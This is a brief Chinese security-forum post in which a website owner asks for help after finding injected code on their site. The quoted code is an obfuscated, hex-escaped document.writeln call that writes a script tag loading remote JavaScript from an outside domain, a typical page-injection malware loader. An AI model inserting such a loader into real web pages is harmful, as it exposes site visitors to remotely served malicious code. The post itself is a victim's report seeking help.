瑞星卡卡安全论坛

我的网站上被加上了这样的代码！！<script>document.writeln("\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x48\x54\x54\x50\x3A\x2F\x2F\x4F\x46\x46\x49\x43\x45\x2E\x46\x41\x51\x53\x45\x52\x56\x2E\x43\x4F\x4D\x2F\x66\x61\x71\x2E\x4A\x53\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E");</script>怎么办呀！！！

[用户系统信息]Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

恶意的